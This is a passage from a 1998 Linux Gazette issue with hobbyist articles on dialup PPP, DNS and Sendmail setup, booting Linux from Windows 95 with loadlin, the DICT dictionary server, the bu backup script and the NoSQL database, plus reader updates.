/dev/modem. Alternately, you can enter this port directly into the dialog box when prompted as described below. Generally speaking, the symlink to /dev/modem seems to be the way to go, so I won't go into why I don't use it. However, in any case you should know which COM port it resides on just in case you run into trouble, so: COM 1: /dev/cua0; or /dev/ttsy0 COM2: /dev/cua1; or /dev/ttsy1 Etc. RedHat users, provided the do not require any off the wall configuration options, have it pretty easy here. Simply choose Control Panel/Network Configuration/Interfaces, then choose Add. Choose PPP when prompted for the Interface type. Next, enter your ISP access number, login name and password. Should your modem require any special customization, choose Customize from the dialog box. When you are finished, choose save and quit, then activate the interface either by highlighting the ppp0 entry in the Network Configurator, or on newer systems, you may use the Usernet tool located in Start/Programs/Networking. If all goes well, your modem should squeal like a pig for a moment, login, and then you should be off and running! Configuring the Domain Name Service to function on a dialup connection. This is fairly simple. We simply need to tell the Linux box to let the ISP DNS resolve hostnames for us. First, if you are currently running named (the daemon,) or BIND (the collection of programs that make named work,) cd to /etc/hosts.conf and make sure there is a line similar to the following contained there: order hosts, bind Now, let's tell the resolver (a magic little fellow constantly zipping around the guts of the machine looking things up,) how to find the outside world and talk to it. From a term window or command prompt, cd to /etc/resolv.conf, then add your ISP's nameservers here using the following syntax: nameserver IP Address of the nameserver For instance: nameserver 196.356.2.4 nameserver 196.356.2.5 NOTE: the DNS machines will be searched in the order they are entered into the file, so put your ISP's primary first, secondary second. During the configuration process your respective setup program may or may not have added additional information to this file. If so, comment them out by placing a pound (#) sign in from the line that contains the information. To prevent a flood of e-mail on this, yes, I am aware there are many directives you can use here, and many DNS things such as a caching-only server you can employ to enhance the performance of the resolver, and these things will be covered in a later installment, so be patient. Configuring Sendmail to function on a dialup connection. Sendmail, like DNS, is an art unto itself. However, here are some general suggestions: Cd to /etc/ Edit sendmail.cf, and look for lines like the following: # "Smart" relay host (may be null) DSyour.isp.mailmachine Next look for these: #who do I send unqualified names to (null means deliver locally) DRyour.isp.mailmachine #who gets all local email traffic ($R has precedence for unqualified names) DHyour.isp.mailmachine Finally, you may or may not want to use the following directive - read the docs. #who do I masquerade as (I forget the rest of it, just look for the masquerade keyword.) DMyour.isp.domain.name Testing and troubleshooting your basic and dialup configuration. On the connectivity side, usually it's a pass/fail operation. Either you get connected or you don't. Check /var/log/messages for some possible clues as to what went wrong. If you connect, but can't do anything, it could be a thousand things, but here are some general guidelines to diagnose the problem: 1. Can you ping the out side world by IP address? If yes, proceed. If no, something is wrong with your connection or the way it was set up. ifconfig and netstat -r can be of help here. 2. Can you ping the outside world by hostname? If yes proceed, if no, you have a name resolution problem. Check your resolv.conf and make sure that your ISP DNS machines are the only things in there. Check your hosts file. Put your local info here. Make sure your local host (loopback) has an entry. 3. Do you get connected, but sometimes lose your connection while reading stuff, or otherwise appear to have no activity on your line? Your ISP is probably running an automatic termination program AKA a serial killer, to prevent a line being locked up if a user's modem does not exit cleanly. While some ISP's frown upon it, the way around this is to run a "ping-forever" or keepalive shell program to defeat the timeout script. Some quick and dirty "cheats" if all else fails. If you have trouble getting Sendmail to retrieve your incoming mail and news from the outside world, simply use Netscape to access your incoming mail on your ISP. Provided you enter the correct information into the dialog boxes, Netscape has it's own pop3 interface, and doesn't need anything else. Stupid Network Tricks. Ever having problem getting through to a slow site? Downloads breaking all the time on large files? Here's a little trick I learned some time ago. If you followed my advice above, you now have an adequate ISP, with at least a T-3 to the Internet, and shell and telnet access to your account. Here's the trick - use that T-3! If you telnet, or rsh into your account on your ISP's machine, you can then take advantage of the FULL capacity of their network for problematic downloads. Of course, how much you can download at a time is governed by how much space your account has allocated to it (typically ~10 - 20 MB.) Granted this creates the extra step of having to then turn around and download or rcp or whatever to your local machine, but as least this gives you a way to get things that are often difficult to obtain normally. Since a TTY only takes about 2400 - 9600 baud, you can still be doing other things on your local machine while the remote session is running. Activating the dialup connection at boot time - This can be accomplished using the Control Panel/Networking Configuration thingy in RedHat. For Slackware, e-mail me, I'm working on a tutorial for the hack I use now, and I'm also writing a program to do it automatically. Killing the PPP connection - there are several ways to do this, depending on what machine you are on, and how you started it in the first place. On a RedHat box, You can deactivate the ppp0 interface with the Network Configurator, or the Usernet tools. On a Slackware box, the way we have it set up now, and also on the RedHat box if the whizbang X deal doesn't work, this always will: ps uax |more Tap enter and move down till you see the ppp daemon running. Not the process ID PID of the daemon, then issue the following command: kill -9 PID of the daemon. Coming next month: Connecting your Linux machine to a network and making it an Internet Gateway for your other machines! Resources for further information. The Linux Documentation Project: http://sunsite.unc.edu/LDP/ General Networking: Network Administrator's Guide, System Administrator's Guide, and the NET-3 HOW-TO The Linux User's Guide DNS HOW-TO ISP Hookup HOW-TO Additionally, OS specific information can be found at the following websites: Slackware 3.5: http://www.cdrom.com/ RedHat 5.1: http://www.redhat.com/ Finally, check the comp.os.linux* newsgroups, or drop me an e-mail. _________________________________________________________________ Previous ``Linux Installation Primer'' Columns Linux Installation Primer #1, September 1997 Linux Installation Primer #2, October 1997 _________________________________________________________________ Copyright © 1998, Ron Jenkins Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Loadlin.exe Installer By Bill Bennet _________________________________________________________________ This makes a loadlin.exe button on a Windows95 desktop How many times have you sat and waited for Windows to shut down while you rebooted? How many times have you read that "Please wait..." message? If I show you how to reboot in under one minute will you give it a try? Rhetorical questions all, yet there is a need for a fast reboot out of Windows if only to preserve your even temper and a sense of decorum. This little piece will install loadlin as your linux boot program and get you out of the Windows environment in under one minute. The by-product will be a login prompt for linux. I hope I do not get any complaints about this blatant effort to undermine the monopoly OS. RedHat 5.1 can do this thing Just about all linux distributions can do this little loadlin button on the desktop of DOS 7.0. The odd cat in the bunch is RedHat; an example is that they insist on loading up the /usr directory when /usr/local will do nicely. They have some quirks, but don't we all? This article fires up RedHat 5.1 and makes them fit in. The RedHat installer will offer you a chance to add 'DOS and Windows connectivity'. Do it. This will let you mount the old DOS partition from linux and also allow you to copy your kernel image (vmlinuz) to a directory on the DOS partition to be booted by loadlin.exe. The official RedHat position on LILO is a good one. They always offer to put LILO on the master boot record or the first sector of the first partition. This gives you a solid base to make your bootings work. They also let you skip the LILO installation. Skip LILO To use loadlin.exe, we will first skip LILO. The prompt in the RedHat installer asks you where to install LILO and I put the asterisk on the 'first partition' choice and Tab to the 'skip' choice and hit Enter. When you startx, the control panel's linuxconf program (System Configuration) gives you a chance to set the 'Config-boot mode-LILO defaults' for your machine. Make sure that the 'LILO is used to boot this system' button is left 'up'. All hail thenerd and his incessant questions! (I got this idea from 'thenerd' in Portage la Prairie, Manitoba. The parents who own the machine did not want anything to change in the way that they played with their DOS. They did not want to have any changes in the bootup of their machine. So, if we boot from DOS to linux, they will never know about or see any 'LILO boot:' messages and they can remain fossilized.) Make a bootdisk please The RedHat installer asks you nicely if you will be making a boot disk and you will always answer 'yes'. Do not pass go. Go directly to 'yes'. You will thank me if you get those 'signal 11' errors (a whole other article). The beauty of this bootdisk is that you can experiment with boot time options for the kernel. Once you get linux rolling you can make a boot disk with the mkbootdisk command. Fasten seatbelts during re-entry After the install is complete, you will be rebooted. Pull out the boot disk because we are going back to DOS to set up the boot button. Since we do not have LILO on the master boot record, the system will boot DOS as usual. Yes I have made a big assumption about you installing linux AFTER the DOS is installed. It only makes sense when dealing with a predatory OS like DOS to let it think it has the whole system to itself. Once the master boot record is erased and overwritten by DOS you then can install a more sophisticated system like linux. Special note on PartitionMagic 4.0 Direct from the technical support guru Will Erickson at powerquest.com: "PartitionMagic 4.0 does fully support Linux ext2 partitions. It is able to re-size them without any problems." This is also the program to get for re-sizing your single FAT32 partition into something more reasonable, like maybe a linux web server and a personal linux workstation as well as a DOS game machine. "The illegal operation occurred in this directory, Mr. Gates." The directory for your linux kernel is your choice. Make one called 'c:\linux\kernels' and you can copy the 'linux.bat' verbatim. Now that we have a place for loadlin.exe to work, put it IN THE PATH. Do this by putting it in a DIRECTORY that is in the path. I already have a 'c:\utils' directory on the path and that is where you will find loadlin.exe. The batch The edit program works nicely for this batch file writing, but notepad will work for those of you without the command prompt. Here is the abbreviated linux.bat: rem This ensures that any unwritten disk buffers are flushed smartdrv /C rem This loads up the kernel and boots linux loadlin c:\linux\kernels\vmlinuz root=/dev/hda2 ro Root equals what? The '/dev/hda2' assumes that your linux boot partition is the second one on the first hard disk. Your special and unique installation gets entered as the 'root=your_root_partition_here'. The 'ro' will mount it 'read only' and that is just standard procedure. Do not make it 'rw' if you have not read about what pitfalls await. Special linux power My RedHat 5.1 partition is booting happily from /dev/hdc9 which is not any where near the 1024 cylinder limit; in fact it is 2 gigabytes over the limit. It is also on an extended partition. This is called a logical partition as opposed to a primary partition. The linux system of GNU components has got to be the most super-powered and adaptable OS on the market. It is booting without the BIOS from a logical partition in an extended partition that is 2 gigabytes over the 1024 cylinder limit. This is because loadlin.exe was developed by the linux web hacker method and the kernel folks and the LILO folks were included in the process. It is a powerful development model. What is vmlinuz? The vmlinuz is not there yet. It is the name you will give to your kernel image. We need to use the boot disk in a moment so that we can put a kernel in 'c:\linux\kernels'. Save your 'linux.bat' in a directory ON THE PATH. I already have a 'c:\batches' directory that holds '.bat' files and this is where you will find 'linux.bat'. The shortcut At the DOS 7.0 desktop (Windows95 is just a window manager for DOS 7.0) you will now right click your rodent for the momentous creation of a new shortcut. Select your new 'linux.bat' with the 'browse' button beside the little command line window. Choose 'open' and it will be entered as the command line for your new shortcut. Do a right click with your rodent on the new shortcut and select 'properties'. Then select 'program' and then the 'advanced' button. You need to make sure that your new batch will use the MS-DOS mode. You also need to use the current configuration, whatever that may be. The job is done. Also give Microsoft a bit of credit for letting you choose a different icon. The icon If you right click your rodent on your new shortcut, the menu item 'properties' will get you to the 'change icon' button. Push de button and make it go.The choices are very nice and I have a personal attachment to the 'dynamite' icon. Perhaps you will choose the lightning bolt. Suffice it to say that what is about to happen to Windows is very swift and violent. My icon shows a detonator and some red sticks of dynamite and it is labelled 'LINUX'. It looks ominous and tempting, especially when Windows gets itself into a jam. The last look at 'that message from Gates'. You know, since I have installed the LINUX button, I use it to shut down Windows. The best part of this trick is that since I started using the LINUX button I have not seen 'that message'. You have seen it and you are just as ticked off by it as the rest of us. It says "It is now safe to turn off your computer." This one and that infernal "Your program has performed an illegal operation and will be shut down" message are probably the most offensive and arrogant messages from a supplier to its clients in the history of business relations. I thank the boys in Redmond, Washington for offending so many nice people. We are enjoying our linux boxes so much more when we reflect on the nice manners of our fellow travellers. Time to test our work: 1. make a new linux box without LILO 2. make a boot disk for linux 3. boot to DOS 4. make a directory for the kernel 5. write a batch file for loadlin.exe 6. put the batch file on the path 7. copy loadlin.exe to a directory on the path 8. make a shortcut to the batch file on the desktop 9. select or make a groovy icon for the shortcut 10. select 'shutdown windows' for perhaps the last time 11. boot the boot disk to linux 12. read the rest of this drivel The rest of this drivel Now that the boot disk has you in linux, you "log in". You did remember your password and you are now called 'root' by your staff. Type the mc command and Enter. You will now be using mc (Midnight Commander) to finish the job. The arrow keys will take you to '/boot'. Select 'vmlinuz-2.0.34-0.6' and then press Tab. Your cursor will jump to the other window. Now we will actually do some 'linuxing'. Enter this: mkdir /dos Then Enter this: mount -t vfat /dev/hda1 /dos This '/dev/hda1' assumes that this is your DOS partition. Your special and unique setup will be entered as the "/dev/your_DOS_partition_here". It gets mounted on the /dos directory that you just created. Then Enter this one: cp /boot/vmlinuz-2.0.34-0.6 /dos/linux/kernels/vmlinuz Oh yeah? Eat LeftAlt-F2! Once these little commands are done, you will be able to navigate over to the '/dos' directory where your DOS partition is now visible and accessible from linux. Cool, eh? If things are just too busy on the mc screens, you can hold Ctrl and press the letter 'o' to get back to the shell prompt. Ctrl-o again to get back to mc. If you want to read documents and switch back and forth you can hold LeftAlt and press F2 to open another console; a virtual console. LeftAlt-F3 opens a third console. You get 64 of them with linux. Just log in again and fire up another version of mc or lynx or whatever. To get back, you select LeftAlt-F1. Four or five consoles should keep the average 'frantic reader' happy. Copy the kernel to vmlinuz The mc cursor is put on the kernel. It is in '/boot' and it is called 'vmlinuz-2.0.34-0.6' in RedHat 5.1. Tab to get your cursor into the other window. Here is why there are two of those windows: "You get to see what you are doing." Navigate to the '/dos' directory and then to the '/linux/kernels' directory. Make sure the cursor is on the kernel. Tab over there now. The kernel is highlighted in one window in '/boot' and the other window is in '/dos/linux/kernels'. "F5 copy on two. Block somebody! Ready, break!" Press F5. Voila! You get the copy window and all you have to do is hit Enter. The result? You now have a kernel image with the wrong name in the DOS partition. Better yet, before you hit 'enter', type in the new name of your kernel: /dos/linux/kernels/vmlinuz The command line for these fiddlings is this: cp /boot/vmlinuz-2.0.34-0.6 /dos/linux/kernels/vmlinuz But I already did that Caught me again. Yes, I got you to do something two different ways. Welcome to linux. Forgive me. I need you to open up your 'brain pathways', you see. The very best part of linux for me and a whole crew of other linuxians is that the computer is fun again. Isn't that why you got one in the first place? The force is with you Well, we have put a 'vmlinuz' kernel image in the DOS partition. Time to reboot. Do NOT use the reset button. Your file system needs to be cleanly unmounted. Linux can 'fsck' and fix its way out of trouble but why tempt fate? Type in this powerful command: shutdown -r "now" (it also works without the quotes) This one does the reboot. More power: shutdown -h "now" (this one does the halt of everything so you can turn off the machine) Alternatively, RedHat and other distributions have implemented the 'Vulcan nerve pinch' so that folks switching from the 'crashing OS' can use Ctrl-Alt-Del to reboot. Boot to DOS to boot to Linux The Windows95 machine lets you select plain DOS mode at boot up. If you are just so impatient to see your test results, then boot to plain DOS mode. Type in this fateful command: linux If you do want to see the fun stuff, let DOS do the bootgui thing all the way to the desktop. "Thar she blows" Sitting on your desktop is the ultimate affront to the 'powers that be' at Microsoft. Push that button and you destroy fifteen years of monopolistic avarice. Push that button and declare your right to freedom of expression. Push that button and stand up and be counted. Push that button and boot linux. That about wraps it up from this desktop. Adios. Dynamite that sucker! Reference reading and links: BootPrompt-HOWTO - required reading for all linuxians Bootdisk-HOWTO Loadlin+Win95 mini-HOWTO The RedHat Linux Installation Support FAQ - good basic stuff here The Boycott Microsoft Page at www.vcnet.com/bms/ The home of RedHat at www.redhat.com The home of PartitionMagic 4.0 at www.powerquest.com The place to get ComputerHelperGuy easy-install files The electronic mailbox of Bill Bennet Windows footnote It is a good idea to close all other programs before pushing your LINUX button. The boot process takes about three seconds before you are uncompressing linux and an elapsed time of 58 seconds to the login prompt. Your mileage may vary. Your DOS file system is left a-ok and properly 'unmounted', if it is correct to talk about a rebooting 'crashing OS' that way. Example: I have seven little programs running at startup and I added Netscape and an editor. Then I pushed the LINUX button. Elapsed time to the linux login prompt was 65 seconds. Make sure you save your work before you hit that button! Booting footnote If the darn thing won't 'mount -t vfat' the /dos partition, it probably can not find the module dependencies file in '/lib/modules/preferred'. This is no sweat. Type this: man symlink Read the manual page for symlink. Then cd to '/lib/modules' and make a symlink called 'preferred' that points to your '/lib/modules/your_kernel_name_here'. The command line for this is: ln -s /lib/modules/your_kernel_directory_name_here(put a single space here)/lib/modules/preferred This is very easy with mc. Start with the mc command. Navigate over to '/lib/modules'. Put the cursor on the '/lib/modules/your_kernel_name_here' directory. Type F-9, then f (for file), then s (for symlink), then arrow down to 'Symbolic link filename:'. Enter this: /lib/modules/preferred Then Enter this: depmod -a The job is done. It is ok to delete it and redo it if you wish. Also, you can 'Esc-Esc' the Symlink window to cancel. _________________________________________________________________ made with GNU Emacs 20.2.1 on an i486 running RedHat 5.1 Linux 2.0.35-2 No animals were eaten during the testing of these procedures. All references to Mr. Gates are purely intentional. _________________________________________________________________ Copyright © 1998, Bill Bennet Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Dict Continued By Larry Ayers _________________________________________________________________ Last month I wrote about the DICT client-server protocol, a GPL-licensed system for looking up words in a variety of dictionary databases. I received some feedback from Rik Faith, DICT's primary developer, in response to my statements concerning the server's memory usage. Here is a quote from the message: In your review, you mention that dictd requires a lot of memory to run, and suggest that people may not want to run the service all of the time. First, since dictd memory maps all of the files that it uses, ps may show that it is "using" far more memory than it actually is. I suspect that this may vary between kernel versions and ps, depending on how mmap'd memory is reported. Second, dictd doesn't do anything when it is waiting for a socket connection, so the memory it uses will be swapped out over time. Hence, I think it should be fine to start dictd at boot time and to leave it running -- I do this on my underpowered laptop and it works out ok in the sense that dictd doesn't use any resources when it is not responding to queries. If you happened to notice a situation where a waiting dictd is using cpu time, then that's a bug that I'd like to fix. Thanks for your review of dict-related software -- I hope we can improve dictd and related tools a great deal over the next 6-12 months. I was curious about the dictionary index files and just how they had been generated. In response to my query, Faith responded: We currently write one-off scripts for each input database. These sources are all distributed on the ftp site. We are moving toward a dictionary interchange format (DICF) from which indexes will be automatically generated. But one-off scripts will still be required to convert the databases into DICF format. We expect, however, that a large amount of new material will be written directly in DICF. Our plan was to have DICF ready by 4Q1998, but this schedule may slip. _________________________________________________________________ When I first began to use the DICT system, it occurred to me that an Emacs mode would be useful, so that a keystroke would open up a window showing definitions of the word under the cursor. Some time later I was browsing the gnu.emacs.sources newsgroup and happened to find two independently developed dict.el files, both functional but with slightly different features. Alexander Vorobiev's version was the first one I tried. It works well under both GNU Emacs and XEmacs. This dict.el doesn't have any mouse bindings included, but does have a feature I appreciate: rather than directly sending the input word to the dictd server, the word first appears in the mini-buffer at the bottom of the screen, allowing it to be edited first. For example, this can useful if you would like the singular rather than the plural form of a word defined, or if the definition of a phrase is sought. The other dict.el was written by Shenghuo Zhu. This one also will work on both emacsen, but the mouse-binding (button two looks up the word under the cursor) works only with GNU Emacs, though it probably wouldn't be too difficult to adapt it to XEmacs. Syntax-highlighting for GNU Emacs is also included. Both modes allow a keystroke combination to be set for looking up a word; I've been using Control-c-Enter. Since the two files are small, I've bundled them into one gzipped tar archive and included them with this issue of the Gazette. You can find the file here. Instructions for installation of the modes can be found near the beginning of each file. In the archive you will find that one of the modes has been renamed dict2.el; before using that mode it should have its original name, dict.el, restored. Dict-mode can even be used as a substitute for the Emacs Ispell spell-check interface. If a misspelled word is passed to the dictd server, a response such as this will be generated: No definitions found for "arcive", perhaps you mean: web1913: Archive Argive Arrive wn: archive Argive arrive foldoc: archive Of course Ispell is more suitable for spell-checking an entire buffer, but if a single word's spelling is doubtful, dict-mode offers an alternate solution. _________________________________________________________________ Last modified: Wed 28 Oct 1998 _________________________________________________________________ Copyright © 1998, Larry Ayers Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ How Not To Re-Invent The Wheel By Larry Ayers _________________________________________________________________ Introduction With all of the excitement lately about various software firms planning Linux ports of their products, it's easy to lose sight of the great power and versatility of the unsung small utilities which are a part of every Linux distribution. These tools, mostly GNU versions of small programs such as awk, grep and sed, date back to the early pioneer days of Unix and have been in wide use ever since. They typically have specialized capabilities and become especially useful when they are chained together and data is piped from one to another. Often a shell script serves as the matrix in which they do their work. Sometimes a piece of software native to another operating system is ported to Linux as an independent unit without taking advantage of pre-existing tools which might have reduced the size of the program and reduced memory usage. It's always a pleasure to happen upon software written with an awareness of the power of Linux and its native utilities. Bu is a backup program and NoSQL is an ASCII-table relational database system; what they have in common is their usage of simple but effective Linux tools to accomplish their respective tasks. _________________________________________________________________ Shell-script Backups With bu Making a backup of the myriad files on a Linux system isn't necessary for most stand-alone single-user machines. Backing up configuration and personal files to floppies or other removable media is normally all that is necessary, assuming that a recent Linux distribution CD and a CDROM drive are available. The situation becomes more complex with multi-user servers or with machines used in a business setting, where the sheer number of irreplaceable files makes this simple method impractical and time-consuming; in these cases the traditional method in the unix world has been to use cpio or another archiving utility to copy files to a tape drive. Though the price of hard disks has plummeted in recent years while their capacity has ballooned, reliable tape drives capable of storing the vast amounts of data a modern hard-disk can hold are still quite expensive, sometimes rivalling the cost of the computer they protect from loss of data. Vincent Stemen has developed a small backup utility called bu which is shell-based and makes good use of standard Linux utilities such as cp and sed. Rather than being intended for backups to tape or other streaming device, bu is designed to mirror files on another file-system, preferably located on a separate hard drive. Bu is just a twelve kilobyte shell script along with a few configuration files. It's remarkably capable; compare this list of features with those of other backup utilities: * Checks timestamps and only copies new or changed files * Deals with symbolic links intelligently * Writes a log-file upon completion * Will ignore directories which are mounted filesystems * Easy specification of files and directories to include or exclude Bu in its earlier versions used cpio extensively, but due to a problem with new directory permissions cp is the main engine of the utility now. Cp -a used by itself can be used to bulk-copy entire filesystems to a new location, but the symbolic links would have to be dealt with manually, which is time-consuming. Also missing would be the ability to automatically include and exclude specific files and directories; bu refers to two configuration files, /usr/local/backups/Exclude and /usr/local/backups/Include, for this information. This small and handy utility isn't intended to completely supplant traditional tape-drive backup systems, but its author has been using bu as the basis of a backup strategy involving several development machines and several gigabytes of data. Bu can be obtained from this web-page; be sure to read the white paper included in the distribution which details the rationale behind the utility. _________________________________________________________________ The NoSQL Relational Database Carlo Strozzi (a member of the Italian Linux society) has developed a relational database management system (RDBMS) which uses tab-delimited ASCII tables as its data format. NoSQL is a descendant of an RDBMS developed by Walter W. Hobbs (of the RAND Organization) called RDB. The commercial product /rdb sold by Revolutionary Software is similar, but uses more compiled C code for greater speed. Carlo Strozzi had this to say about his motivation for developing NoSQL (excerpted from the documentation): Several times I have found myself writing applications that needed to rely upon simple database management tasks. Most commercial database products are often too costly and too feature-packed to encourage casual use. There are also plenty of good freeware databases around, but they too tend to provide far more that I need most of the times, and they too lack the shell-level approach of NoSQL. Admittedly, having been written with interpretive languages (Shell, Perl, AWK), NoSQL is not the fastest DBMS of all, at least not always (a lot depends on the application). The philosophy behind these database systems is well-expressed in an article titled A 4GL Language, which was written by Evan Schaffer and Mike Wolf, founders of Revolutionary Software. The paper originally appeared in the March 1991 issue of the Unix Review; a Postscript version is included with the NoSQL documentation. Here is the abstract: There are many database systems available for UNIX. But almost all are software prisons that you must get into and leave the power of UNIX behind. Most were developed on operating systems other than UNIX. Consequently their developers had very few software features to build upon, and wrote the functionality they needed directly, without regard for the features provided by the operating system. The resulting database systems are large, complex programs which degrade total system performance, especially when they are run in a multi-user environment. UNIX provides hundreds of programs that can be piped together to easily perform almost any function imaginable. Nothing comes close to providing the functions that come standard with UNIX. Programs and philosophies carried over from other systems put walls between the user and UNIX, and the power of UNIX is thrown away. The shell, extended with a few relational operators, is the fourth generation language most appropriate to the UNIX environment. The complete article is well worth reading for anyone who has ever wondered just why Linux software is different than that used with mainstream operating systems, and why GUI software has only recently began to become common. NoSQL incorporates the ideas presented above. A major difference between Walter W. Hobbs' RDB database and NoSQL is that NoSQL uses awk extensively to perform tasks handled by perl in RDB. Awk is a more specialized tool with a much smaller memory footprint, and since the data-pipelining which is the essence of these relational database management systems requires repeated invocation of their respective interpreters, NoSQL exerts less of a strain on a system's resources, especially important in a multi-user environment. After installing the package (no compilation is involved) a new subdirectory under /usr/local/lib called nosql will be created and populated; it will have these subdirectories: awk contains several awk scripts which are responsible for most of the table-manipulation jobs doc contains both Postscript and HTML versions of the readable and complete NoSQL documentation, as well as a Postscript version of the Schaffer and Wolf article from the Unix Review mylib an empty directory for new scripts and programs perl perl scripts which perform other NoSQL functions sh shell scripts which act as wrappers for the awk and perl scripts. The entire subdirectory occupies just under 600 kb., most of which is documentation. After installing the files, the only other step needed before trying out the database is setting three environment variables. Here are three lines from my .zshenv file (bash users should have these lines in the .bash_profile file): export NSQLIB=/usr/local/lib/nosql export NSQSH=/bin/ash export NSQAWK=/usr/bin/mawk Carlo Strozzi recommends using ash rather than one of the larger and more powerful shells such as bash or zsh; ash uses less memory. and since the shell is repeatedly invoked while using NoSQL the upshot will be a noticeable increase in speed and a reduction in memory requirements. Since there is no compiled code in the package, NoSQL should run on any machines which have awk and perl available; in other words the database isn't Linux-centric. The ASCII format of the data tables is also very portable, and can be manipulated by text editors and common filesystem tools. Data can be extracted from tables by means of various "operators" via input-output redirection (e.g., pipes, STDIN and STDOUT). The only limits on the amount of data which can be handled are in the machine running NoSQL; the installed memory and processor speed are the limiting factors. As the name implies this is not an SQL database, which should make NoSQL more accessible to users lacking SQL expertise. I don't know SQL at all and I found the basic commands of NoSQL easy to learn. All commands are executed as parameters of the nosql shell script. Here's an example NoSQL table: Name Freq Height Season ---- ---- ------ ------ laccaria 27 6 Fall lepiota 5 8 Summer amanita 42 7 Summer lentinus 85 5 Spring-Fall morchella 45 6 Spring boletus 65 5 Summer russula 75 4 Summer Single tabs must separate the fields from each other, even the spaces between the groups of dashes on the dashed separator line must be single tabs. An alternate format for the tabular data is the list; the above table can be converted to this format with the command nosql tabletolist < [filename] The results look like this: Name laccaria Freq 27 Height 6 Season Fall Name lepiota Freq 5 Height 8 Season Summer Name amanita Freq 42 Height 7 Season Summer Name lentinus Freq 85 Height 5 Season Spring-Fall Name morchella Freq 45 Height 6 Season Spring Name boletus Freq 65 Height 5 Season Summer Name russula Freq 75 Height 4 Season Summer If the above table were named pilze.rdb, either the command nosql istable < pilze.rdb or nosql islist < pilze.rdb would ask nosql to check the table or list format's validity, depending on which format is being checked. Another command, nosql edit < pilze.rdb will open the file in the editor defined by the EDITOR environment variable (often set to vi by default). A file in table format is automatically converted into the vertical list format for easier editing, then changed back into a table when exiting the editor. When the file is saved or closed NoSQL will automatically check the validity of the format and give the line numbers where any errors occur. This seemingly obsessive concern with correct format isn't mere pedantry; the various NoSQL operators which manipulate and extract data need to be able to quickly distinguish headers from data and data-fields from each other, and single tabs are the criteria. There are over forty operator functions available, some of which extract or rearrange fields while others are used to generate reports. Their names are more-or-less mnemonic, such as inscol and addcol, which are used to insert a column into a table, respectively on the left- or right-hand side. Other operators index and search tables. Examples of typical usage (i.e., connecting NoSQL commands with pipes) are included in the documentation. As with any Open-Source software, it's hard to tell how many people or organizations are using it. In an e-mail, I asked Carlo Strozzi for examples of real-world usage of NoSQL; he replied that he has been using it quite a bit for database-backed CGI scripts for the WWW. He also stated that several companies in Italy are using it internally. Carlo Strozzi works for IBM in Italy, and he has developed several web applications backed by NoSQL; three of the publicly accessible pages are: Fortune companies and people profiles Classifieds - this is in Italian Car classifieds, in Italian The latest version of NoSQL can be obtained from this FTP site. _________________________________________________________________ Last modified: Thu 29 Oct 1998 _________________________________________________________________ Copyright © 1998, Larry Ayers Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Updates and Corrections By Larry Ayers _________________________________________________________________ Introduction I've accumulated a few updates to past articles and reviews, presented here in reverse chronological order. By the way, I appreciate the e-mail I receive from LG readers; keep it coming! _________________________________________________________________ The Keyboard Practicer Last month, in the second of two articles about typing tutor programs I included the Tcl source for a program by Satoshi Asami called Keyboard Practicer. It turns out that the version I had didn't include the licensing information, which follows: /*- * Copyright (c) 1991-1998 Satoshi Asami * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS * IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ The updated archive (which doesn't include any changes other than the inclusion of the above license) is available from this FTP site. _________________________________________________________________ Typist A couple of issues ago I wrote about a console keyboard tutor called Typist, which at that time was in Sunsite's /pub/Linux/Incoming directory. I've received e-mail inquiries as to its current location, which isn't obvious. The new location is here. _________________________________________________________________ TkDesk After a long hiatus, Christian Bolik has released a new version of his featureful file-and-desktop manager TkDesk. I reviewed a much earlier release back in 1996 (LG #8), and in the several releases since then the application has improved and matured. Another factor which has changed since 1996 is the typical desktop machine running TkDesk. The application felt a trifle sluggish on my old, low-memory 486, but on a reasonably recent Pentium-based system TkDesk runs well. Aside from being a versatile and configurable file-manager, TkDesk occupies a sort of middle ground between the typical miscellaneous collection of Linux apps and a full-fledged desktop manager such as KDE or Gnome. Its integration with Netscape and XEmacs is particularly useful, and the button-bar is one of the most configurable and useful I've seen for X-Windows. TkDesk still won't run with Tcl/Tk 8.0, but now that incrTcl (the C++ object-oriented extension to Tcl) has been updated to work with the newer Tcl/Tk releases, the release of a version of TkDesk which uses these libraries can't be too far off. The new 1.1 release of TkDesk works fine with Tcl7.6/Tk4.2 for the time being. The TkDesk homepage is here. _________________________________________________________________ Window Managers Two of the most promising new window-managers available for X have been undergoing rapid development lately. Marco Macek's Icewm is getting better with each release, and the recent betas have been including GNOME-specific features. This won't affect those users who aren't using GNOME, as the configure script detects a GNOME installation and disables these features if CNOME isn't installed. Check out the icewm home-page for the latest news. Brad 